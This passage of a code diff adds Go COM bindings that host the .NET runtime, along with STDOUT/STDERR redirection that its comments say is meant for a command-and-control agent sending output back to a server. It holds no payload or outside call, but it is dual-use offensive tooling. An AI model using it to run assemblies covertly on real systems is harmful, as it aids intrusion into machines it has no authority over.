QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// Next Retrieves the specified number of items in the enumeration sequence.
|
||||
Next uintptr
|
||||
// Skip Skips over the specified number of items in the enumeration sequence.
|
||||
Skip uintptr
|
||||
// Reset Resets the enumeration sequence to the beginning.
|
||||
Reset uintptr
|
||||
// Clone Creates a new enumerator that contains the same enumeration state as the current one.
|
||||
Clone uintptr
|
||||
}
|
||||
|
||||
func (obj *IEnumUnknown) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *IEnumUnknown) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Next retrieves the specified number of items in the enumeration sequence.
|
||||
// HRESULT Next(
|
||||
// ULONG celt,
|
||||
// IUnknown **rgelt,
|
||||
// ULONG *pceltFetched
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ienumunknown-next
|
||||
func (obj *IEnumUnknown) Next(celt uint32, pEnumRuntime unsafe.Pointer, pceltFetched *uint32) (hresult int, err error) {
|
||||
debugPrint("Entering into ienumunknown.Next()...")
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.Next,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(celt),
|
||||
uintptr(pEnumRuntime),
|
||||
uintptr(unsafe.Pointer(pceltFetched)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the IEnumUnknown::Next method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK && hr != S_FALSE {
|
||||
err = fmt.Errorf("the IEnumUnknown::Next method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
hresult = int(hr)
|
||||
return
|
||||
}
|
||||
+117
@@ -0,0 +1,117 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type IErrorInfo struct {
|
||||
vtbl *IErrorInfoVtbl
|
||||
}
|
||||
|
||||
// IErrorInfoVtbl returns information about an error in addition to the return code.
|
||||
// It returns the error message, name of the component and GUID of the interface in
|
||||
// which the error occurred, and the name and topic of the Help file that applies to the error.
|
||||
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms723041(v=vs.85)
|
||||
type IErrorInfoVtbl struct {
|
||||
// QueryInterface Retrieves pointers to the supported interfaces on an object.
|
||||
QueryInterface uintptr
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer.
|
||||
AddRef uintptr
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
Release uintptr
|
||||
// GetDescription Returns a text description of the error
|
||||
GetDescription uintptr
|
||||
// GetGUID Returns the GUID of the interface that defined the error.
|
||||
GetGUID uintptr
|
||||
// GetHelpContext Returns the Help context ID for the error.
|
||||
GetHelpContext uintptr
|
||||
// GetHelpFile Returns the path of the Help file that describes the error.
|
||||
GetHelpFile uintptr
|
||||
// GetSource Returns the name of the component that generated the error, such as "ODBC driver-name".
|
||||
GetSource uintptr
|
||||
}
|
||||
|
||||
// GetDescription Returns a text description of the error.
|
||||
// HRESULT GetDescription (
|
||||
// BSTR *pbstrDescription);
|
||||
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms714318(v=vs.85)
|
||||
func (obj *IErrorInfo) GetDescription() (pbstrDescription *string, err error) {
|
||||
debugPrint("Entering into ierrorinfo.GetDescription()...")
|
||||
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetDescription,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pbstrDescription)),
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the IErrorInfo::GetDescription method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetGUID Returns the globally unique identifier (GUID) of the interface that defined the error.
|
||||
// HRESULT GetGUID(
|
||||
// GUID *pGUID
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-ierrorinfo-getguid
|
||||
func (obj *IErrorInfo) GetGUID() (pGUID *windows.GUID, err error) {
|
||||
debugPrint("Entering into ierrorinfo.GetGUID()...")
|
||||
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetGUID,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pGUID)),
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the IErrorInfo::GetGUID method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the IErrorInfo::GetGUID method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetErrorInfo Obtains the error information pointer set by the previous call to SetErrorInfo in the current logical thread.
|
||||
// HRESULT GetErrorInfo(
|
||||
// ULONG dwReserved,
|
||||
// IErrorInfo **pperrinfo
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-geterrorinfo
|
||||
func GetErrorInfo() (pperrinfo *IErrorInfo, err error) {
|
||||
debugPrint("Entering into ierrorinfo.GetErrorInfo()...")
|
||||
modOleAut32 := syscall.MustLoadDLL("OleAut32.dll")
|
||||
procGetErrorInfo := modOleAut32.MustFindProc("GetErrorInfo")
|
||||
hr, _, err := procGetErrorInfo.Call(0, uintptr(unsafe.Pointer(&pperrinfo)))
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned an error:\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned a non-zero HRESULT code: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+200
@@ -0,0 +1,200 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"os"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// origSTDOUT is a Windows Handle to the program's original STDOUT
|
||||
var origSTDOUT = windows.Stdout
|
||||
|
||||
// origSTDERR is a Windows Handle to the program's original STDERR
|
||||
var origSTDERR = windows.Stderr
|
||||
|
||||
// rSTDOUT is an io.Reader for STDOUT
|
||||
var rSTDOUT *os.File
|
||||
|
||||
// wSTDOUT is an io.Writer for STDOUT
|
||||
var wSTDOUT *os.File
|
||||
|
||||
// rSTDERR is an io.Reader for STDERR
|
||||
var rSTDERR *os.File
|
||||
|
||||
// wSTDERR is an io.Writer for STDERR
|
||||
var wSTDERR *os.File
|
||||
|
||||
// Stdout is a buffer to collect anything written to STDOUT
|
||||
// The CLR will return the COR_E_TARGETINVOCATION error on subsequent Invoke_3 calls if the
|
||||
// redirected STDOUT writer is EVER closed while the parent process is running (e.g., a C2 Agent)
|
||||
// The redirected STDOUT reader will never recieve EOF and therefore reads will block and that is
|
||||
// why a buffer is used to stored anything that has been written to STDOUT while subsequent calls block
|
||||
var Stdout bytes.Buffer
|
||||
|
||||
// Stderr is a buffer to collect anything written to STDERR
|
||||
var Stderr bytes.Buffer
|
||||
|
||||
// errors is used to capture an errors from a goroutine
|
||||
var errors = make(chan error)
|
||||
|
||||
// mutex ensures exclusive access to read/write on STDOUT/STDERR by one routine at a time
|
||||
var mutex = &sync.Mutex{}
|
||||
|
||||
// RedirectStdoutStderr redirects the program's STDOUT/STDERR to an *os.File that can be read from this Go program
|
||||
// The CLR executes assemblies outside of Go and therefore STDOUT/STDERR can't be captured using normal functions
|
||||
// Intended to be used with a Command & Control framework so STDOUT/STDERR can be captured and returned
|
||||
func RedirectStdoutStderr() (err error) {
|
||||
// Create a new reader and writer for STDOUT
|
||||
rSTDOUT, wSTDOUT, err = os.Pipe()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDOUT:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Createa new reader and writer for STDERR
|
||||
rSTDERR, wSTDERR, err = os.Pipe()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDERR:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Set STDOUT/STDERR to the new files from os.Pipe()
|
||||
// https://docs.microsoft.com/en-us/windows/console/setstdhandle
|
||||
if err = windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, windows.Handle(wSTDOUT.Fd())); err != nil {
|
||||
err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDOUT:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if err = windows.SetStdHandle(windows.STD_ERROR_HANDLE, windows.Handle(wSTDERR.Fd())); err != nil {
|
||||
err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDERR:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Start STDOUT/STDERR buffer and collection
|
||||
go BufferStdout()
|
||||
go BufferStderr()
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// RestoreStdoutStderr returns the program's original STDOUT/STDERR handles before they were redirected an *os.File
|
||||
// Previously instantiated CLRs will continue to use the REDIRECTED STDOUT/STDERR handles and will not resume
|
||||
// using the restored handles
|
||||
func RestoreStdoutStderr() error {
|
||||
if err := windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, origSTDOUT); err != nil {
|
||||
return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDOUT handle:\n%s", err)
|
||||
}
|
||||
if err := windows.SetStdHandle(windows.STD_ERROR_HANDLE, origSTDERR); err != nil {
|
||||
return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDERR handle:\n%s", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ReadStdoutStderr reads from the REDIRECTED STDOUT/STDERR
|
||||
// Only use when RedirectStdoutStderr was previously called
|
||||
func ReadStdoutStderr() (stdout string, stderr string, err error) {
|
||||
debugPrint("Entering into io.ReadStdoutStderr()...")
|
||||
|
||||
// Sleep for one Microsecond to wait for STDOUT/STDERR goroutines to finish reading
|
||||
// Race condition between reading the buffers and reading STDOUT/STDERR to the buffers
|
||||
// Can't close STDOUT/STDERR writers once the CLR invokes on assembly and EOF is not
|
||||
// returned because parent program is perpetually running
|
||||
time.Sleep(1 * time.Microsecond)
|
||||
|
||||
// Check the error channel to see if any of the goroutines generated an error
|
||||
if len(errors) > 0 {
|
||||
var totalErrors string
|
||||
for e := range errors {
|
||||
totalErrors += e.Error()
|
||||
}
|
||||
err = fmt.Errorf(totalErrors)
|
||||
return
|
||||
}
|
||||
|
||||
// Read STDOUT Buffer
|
||||
if Stdout.Len() > 0 {
|
||||
stdout = Stdout.String()
|
||||
Stdout.Reset()
|
||||
}
|
||||
|
||||
// Read STDERR Buffer
|
||||
if Stderr.Len() > 0 {
|
||||
stderr = Stderr.String()
|
||||
Stderr.Reset()
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// CloseSTdoutStderr closes the Reader/Writer for the prviously redirected STDOUT/STDERR
|
||||
// that was changed to an *os.File
|
||||
func CloseStdoutStderr() (err error) {
|
||||
err = rSTDOUT.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDOUT Reader:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = wSTDOUT.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDOUT Writer:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = rSTDERR.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDERR Reader:\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = wSTDERR.Close()
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error closing the STDERR Writer:\n%s", err)
|
||||
return
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// BufferStdout is designed to be used as a go routine to monitor for data written to the REDIRECTED STDOUT
|
||||
// and collect it into a buffer so that it can be collected and sent back to a server
|
||||
func BufferStdout() {
|
||||
debugPrint("Entering into io.BufferStdout()...")
|
||||
stdoutReader := bufio.NewReader(rSTDOUT)
|
||||
for {
|
||||
// Standard STDOUT buffer size is 4k
|
||||
buf := make([]byte, 4096)
|
||||
line, err := stdoutReader.Read(buf)
|
||||
if err != nil {
|
||||
errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err)
|
||||
}
|
||||
if line > 0 {
|
||||
// Remove null bytes and add contents to the buffer
|
||||
Stdout.Write(bytes.TrimRight(buf, "\x00"))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// BufferStderr is designed to be used as a go routine to monitor for data written to the REDIRECTED STDERR
|
||||
// and collect it into a buffer so that it can be collected and sent back to a server
|
||||
func BufferStderr() {
|
||||
debugPrint("Entering into io.BufferStderr()...")
|
||||
stderrReader := bufio.NewReader(rSTDERR)
|
||||
for {
|
||||
// Standard STDOUT buffer size is 4k
|
||||
buf := make([]byte, 4096)
|
||||
line, err := stderrReader.Read(buf)
|
||||
if err != nil {
|
||||
errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err)
|
||||
}
|
||||
if line > 0 {
|
||||
// Remove null bytes and add contents to the buffer
|
||||
Stderr.Write(bytes.TrimRight(buf, "\x00"))
|
||||
}
|
||||
}
|
||||
}
|
||||
+123
@@ -0,0 +1,123 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// ISupportErrorInfo Ensures that error information can be propagated up the call chain correctly.
|
||||
// Automation objects that use the error handling interfaces must implement ISupportErrorInfo
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo
|
||||
type ISupportErrorInfo struct {
|
||||
vtbl *ISupportErrorInfoVtbl
|
||||
}
|
||||
|
||||
type ISupportErrorInfoVtbl struct {
|
||||
// QueryInterface Retrieves pointers to the supported interfaces on an object.
|
||||
QueryInterface uintptr
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer.
|
||||
AddRef uintptr
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
Release uintptr
|
||||
// InterfaceSupportsErrorInfo Indicates whether an interface supports the IErrorInfo interface.
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo
|
||||
InterfaceSupportsErrorInfo uintptr
|
||||
}
|
||||
|
||||
// QueryInterface queries a COM object for a pointer to one of its interface;
|
||||
// identifying the interface by a reference to its interface identifier (IID).
|
||||
// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it.
|
||||
// HRESULT QueryInterface(
|
||||
// REFIID riid,
|
||||
// void **ppvObject
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void)
|
||||
func (obj *ISupportErrorInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into iunknown.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer
|
||||
// ULONG AddRef();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref
|
||||
func (obj *ISupportErrorInfo) AddRef() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.AddRef()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
// ULONG Release();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release
|
||||
func (obj *ISupportErrorInfo) Release() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.Release()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// InterfaceSupportsErrorInfo
|
||||
// HRESULT InterfaceSupportsErrorInfo(
|
||||
// REFIID riid
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo
|
||||
func (obj *ISupportErrorInfo) InterfaceSupportsErrorInfo(riid windows.GUID) error {
|
||||
debugPrint("Entering into isupporterrorinfo.InterfaceSupportsErrorInfo()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.InterfaceSupportsErrorInfo,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+99
@@ -0,0 +1,99 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type IUnknown struct {
|
||||
vtbl *IUnknownVtbl
|
||||
}
|
||||
|
||||
// IUnknownVtbl Enables clients to get pointers to other interfaces on a given object through the
|
||||
// QueryInterface method, and manage the existence of the object through the AddRef and Release methods.
|
||||
// All other COM interfaces are inherited, directly or indirectly, from IUnknown. Therefore, the three
|
||||
// methods in IUnknown are the first entries in the vtable for every interface.
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iunknown
|
||||
type IUnknownVtbl struct {
|
||||
// QueryInterface Retrieves pointers to the supported interfaces on an object.
|
||||
QueryInterface uintptr
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer.
|
||||
AddRef uintptr
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
Release uintptr
|
||||
}
|
||||
|
||||
// QueryInterface queries a COM object for a pointer to one of its interface;
|
||||
// identifying the interface by a reference to its interface identifier (IID).
|
||||
// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it.
|
||||
// HRESULT QueryInterface(
|
||||
// REFIID riid,
|
||||
// void **ppvObject
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void)
|
||||
func (obj *IUnknown) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into iunknown.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer
|
||||
// ULONG AddRef();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref
|
||||
func (obj *IUnknown) AddRef() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.AddRef()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
// ULONG Release();
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release
|
||||
func (obj *IUnknown) Release() (count uint32, err error) {
|
||||
debugPrint("Entering into iunknown.Release()...")
|
||||
ret, _, err := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err)
|
||||
}
|
||||
err = nil
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
count = *(*uint32)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
+207
@@ -0,0 +1,207 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// from mscorlib.tlh
|
||||
|
||||
type MethodInfo struct {
|
||||
vtbl *MethodInfoVtbl
|
||||
}
|
||||
|
||||
// MethodInfoVtbl Discovers the attributes of a method and provides access to method metadata.
|
||||
// Inheritance: Object -> MemberInfo -> MethodBase -> MethodInfo
|
||||
// MethodInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=net-5.0
|
||||
// MethodBase Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase?view=net-5.0
|
||||
// MemberInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.memberinfo?view=net-5.0
|
||||
// Object Class: https://docs.microsoft.com/en-us/dotnet/api/system.object?view=net-5.0
|
||||
type MethodInfoVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
GetTypeInfoCount uintptr
|
||||
GetTypeInfo uintptr
|
||||
GetIDsOfNames uintptr
|
||||
Invoke uintptr
|
||||
get_ToString uintptr
|
||||
Equals uintptr
|
||||
GetHashCode uintptr
|
||||
GetType uintptr
|
||||
get_MemberType uintptr
|
||||
get_name uintptr
|
||||
get_DeclaringType uintptr
|
||||
get_ReflectedType uintptr
|
||||
GetCustomAttributes uintptr
|
||||
GetCustomAttributes_2 uintptr
|
||||
IsDefined uintptr
|
||||
GetParameters uintptr
|
||||
GetMethodImplementationFlags uintptr
|
||||
get_MethodHandle uintptr
|
||||
get_Attributes uintptr
|
||||
get_CallingConvention uintptr
|
||||
Invoke_2 uintptr
|
||||
get_IsPublic uintptr
|
||||
get_IsPrivate uintptr
|
||||
get_IsFamily uintptr
|
||||
get_IsAssembly uintptr
|
||||
get_IsFamilyAndAssembly uintptr
|
||||
get_IsFamilyOrAssembly uintptr
|
||||
get_IsStatic uintptr
|
||||
get_IsFinal uintptr
|
||||
get_IsVirtual uintptr
|
||||
get_IsHideBySig uintptr
|
||||
get_IsAbstract uintptr
|
||||
get_IsSpecialName uintptr
|
||||
get_IsConstructor uintptr
|
||||
Invoke_3 uintptr
|
||||
get_returnType uintptr
|
||||
get_ReturnTypeCustomAttributes uintptr
|
||||
GetBaseDefinition uintptr
|
||||
}
|
||||
|
||||
func (obj *MethodInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into methodinfo.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (obj *MethodInfo) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *MethodInfo) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Invoke_3 Invokes the method or constructor reflected by this MethodInfo instance.
|
||||
// virtual HRESULT __stdcall Invoke_3 (
|
||||
// /*[in]*/ VARIANT obj,
|
||||
// /*[in]*/ SAFEARRAY * parameters,
|
||||
// /*[out,retval]*/ VARIANT * pRetVal ) = 0;
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase.invoke?view=net-5.0
|
||||
func (obj *MethodInfo) Invoke_3(variantObj Variant, parameters *SafeArray) (err error) {
|
||||
debugPrint("Entering into methodinfo.Invoke_3()...")
|
||||
var pRetVal *Variant
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.Invoke_3,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&variantObj)),
|
||||
uintptr(unsafe.Pointer(parameters)),
|
||||
uintptr(unsafe.Pointer(pRetVal)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the MethodInfo::Invoke_3 method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// If the HRESULT is a TargetInvocationException, attempt to get the inner error
|
||||
// This currentl doesn't work
|
||||
if uint32(hr) == COR_E_TARGETINVOCATION {
|
||||
var iSupportErrorInfo *ISupportErrorInfo
|
||||
// See if MethodInfo supports the ISupportErrorInfo interface
|
||||
err = obj.QueryInterface(IID_ISupportErrorInfo, unsafe.Pointer(&iSupportErrorInfo))
|
||||
if err != nil {
|
||||
err = fmt.Errorf("the MethodInfo::QueryInterface method returned an error when looking for the ISupportErrorInfo interface:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// See if the ICorRuntimeHost interface supports the IErrorInfo interface
|
||||
// Not sure if there is an Interface ID for MethodInfo
|
||||
